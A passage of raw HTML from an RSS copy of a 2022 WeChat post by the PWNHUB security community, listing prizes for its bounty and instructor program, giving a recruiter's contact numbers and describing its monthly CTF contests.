class="rich_pages wxw-img" data-cropselx1="0" data-cropselx2="304" data-cropsely1="0" data-cropsely2="369" data-ratio="1.1574074074074074" style="display: block;width: 293px;height: auto;border-color: rgb(0, 0, 0);border-style: solid;border-width: 1px;box-sizing: border-box;" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=25b0ebd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0Yh8PQ8MZ4CvnSrvmsusbXsRiahhcCkhwWBEwZc6cyalFibzILbx24UGqt4fKYeD5dra7kQyhevricibg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section></section></section><p><br/></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(51, 51, 51);font-size: 17px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">金牌讲师🏅️：</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">长</span><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">亭八周年“无限潜能手办”盲盒套装+ 长亭培训项目优先获得权 【免面试】+内部学习资料+PWNHUB社区邀请码+...</span></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(51, 51, 51);font-size: 17px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;orphans: 4;text-align: left;white-space: pre-wrap;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);"><br/></span></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(51, 51, 51);font-size: 17px;"><span style="font-size: 14px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: Optima-Regular, PingFangTC-light;">银牌讲师🥈：</span><span style="font-size: 14px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: Optima-Regular, PingFangTC-light;outline: 0px;line-height: 24px;">长亭八周年“无限潜能手办”盲盒*3+ 长亭培训项目优先获得权 +内部学习资料+<span style="outline: 0px;line-height: 24px;">PWNHUB社区邀请码</span>+...</span></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(51, 51, 51);font-size: 17px;"><br/></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(51, 51, 51);font-size: 17px;"><span style="font-size: 14px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: Optima-Regular, PingFangTC-light;">铜牌讲师🥉：</span><span style="font-size: 14px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: Optima-Regular, PingFangTC-light;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);">长亭八周年“无限潜能手办”盲盒*1</span>+ 长亭培训项目优先获得权 + 内部学习资料</span><span style="font-size: 14px;orphans: 4;text-align: start;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: Optima-Regular, PingFangTC-light;outline: 0px;line-height: 24px;">+PWNHUB社区邀请码+..</span></span></p></blockquote></section><section mp-original-font-size="16" mp-original-line-height="24" style="margin-top: 0.8em;outline: 0px;text-size-adjust: auto;orphans: 4;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);line-height: 24px;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 14px;outline: 0px;line-height: 24px;"></span></section><p style="line-height: normal;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">在PWNHUB赏金计划中，萌新将会获得专业培训讲师一对一指导，拥有更多提升机会；有经验者在各种礼物拿到手软的同时将直达真实项目，获得更多兼职机会。</span></p><p style="line-height: normal;"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">有任何问题可以随时Q小胖哥（</span><span style="color: rgb(61, 167, 66);"><strong><span style="font-size: 14px;line-height: 1.5em;font-family: Optima-Regular, PingFangTC-light;">QQ：3496544941  vx</span><span style="font-size: 14px;font-family: Optima-Regular, PingFangTC-light;">：</span><span style="font-family: Optima-Regular, PingFangTC-light;text-decoration-style: solid;text-decoration-color: rgb(62, 62, 62);"><span style="font-size: 14px;">15711220440</span></span></strong></span><span style="color: rgb(62, 62, 62);font-family: Optima-Regular, PingFangTC-light;font-size: 16px;text-decoration-style: solid;text-decoration-color: rgb(62, 62, 62);"><span style="font-family: Optima-Regular, PingFangTC-light;font-size: 15px;">)欢迎前来参与咨询～</span></span></p><section data-role="outer" label="Powered by 135editor.com" mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;letter-spacing: 0.544px;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);line-height: 27px;"><section data-role="outer" label="Powered by 135editor.com" mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"><section data-role="paragraph" mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;border-width: 0px;border-style: none;border-color: initial;line-height: 27px;"><section mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"><section mp-original-font-size="17" mp-original-line-height="27" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;line-height: 27px;"><section data-tools="135编辑器" data-id="85529" mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;border-width: 0px;border-style: none;border-color: initial;line-height: 27px;"><section mp-original-font-size="17" mp-original-line-height="27" style="margin: 3px;outline: 0px;line-height: 27px;"><section data-tools="135编辑器" data-id="86131" mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;border-width: 0px;border-style: none;border-color: initial;line-height: 27px;"><section mp-original-font-size="17" mp-original-line-height="27" style="margin-top: 10px;margin-bottom: 10px;padding: 3px;outline: 0px;color: rgb(254, 254, 254);background-color: rgb(139, 162, 176);line-height: 27px;"><section data-width="100%" mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;display: inline-block;width: 658px;background-color: rgb(254, 254, 254);line-height: 27px;"><section mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"><br mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"/></section><section mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"><br mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"/></section><section mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"><br mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"/></section><section mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;text-align: center;line-height: 27px;"><img border="0" class="rich_pages wxw-img" data-copyright="0" data-cropselx1="0" data-cropselx2="546" data-cropsely1="0" data-cropsely2="281" data-ratio="1" width="658px" data-type="jpeg" data-w="690" data-width="100%" opacity="" style="outline: 0px;line-height: 27px;box-sizing: border-box !important;visibility: visible !important;width: 141px !important;" title="" src="https://wechat2rss.xlab.app/img-proxy/?k=c3b4459b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0beAriafBHfZ3f3uqxSRMCQ8AorfkC32gZp7yDunKDO7KgPqHRmDkaicicG3nkks7fliaicS7lCbesVyMg%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-width="100%" mp-original-font-size="17" mp-original-line-height="27" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;display: inline-block;width: 658px;line-height: 27px;"><section mp-original-font-size="17" mp-original-line-height="27" style="margin-right: 20px;margin-left: 20px;outline: 0px;border-bottom: 1px dashed rgb(102, 102, 102);border-top-color: rgb(139, 162, 176);border-right-color: rgb(139, 162, 176);border-left-color: rgb(139, 162, 176);line-height: 27px;"><br mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"/></section></section><section mp-original-font-size="17" mp-original-line-height="27" style="margin: 10px 20px;outline: 0px;color: rgb(102, 102, 102);line-height: 27px;"><p mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"><br mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"/></p><p mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"><span mp-original-font-size="15" mp-original-line-height="24" style="outline: 0px;line-height: 24px;font-size: 15px;">PWNHUB（昵称：胖哈勃），遥远的1990年，哈勃望远镜拓展了人类仰望星空的界限。2016年，PWNHUB诞生，将引领那些对网络安全感兴趣的人们探索“01”世界中的无限奥秘……</span></p><p mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"><span mp-original-font-size="15" mp-original-line-height="24" style="outline: 0px;line-height: 24px;font-size: 15px;"> </span></p><p mp-original-font-size="17" mp-original-line-height="27" style="outline: 0px;line-height: 27px;"><span mp-original-font-size="15" mp-original-line-height="24" style="outline: 0px;line-height: 24px;font-size: 15px;">PWNHUB致力打造顶尖网络安全攻防交流平台，为网络安全爱好者与研究者提供一个碰撞思维、提升技术的线上场所。每月一次CTF攻防赛，定期组织线下技术沙龙与工作坊。PWNHUB崇尚自由探索的极客精神，以高质量的纯原创题目汇集了一大批高水平的CTF选手与战队。</span></p></section></section></section></section></section></section></section></section></section></section></section>



<p><a href="2247499062">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cabb0c8f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247499062%26idx%3D1%26sn%3Dff61003bfaeddf707daaf61d9a0a3871%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 27 Sep 2022 18:00:00 +0800</pubDate>
    </item>
  </channel>
</rss>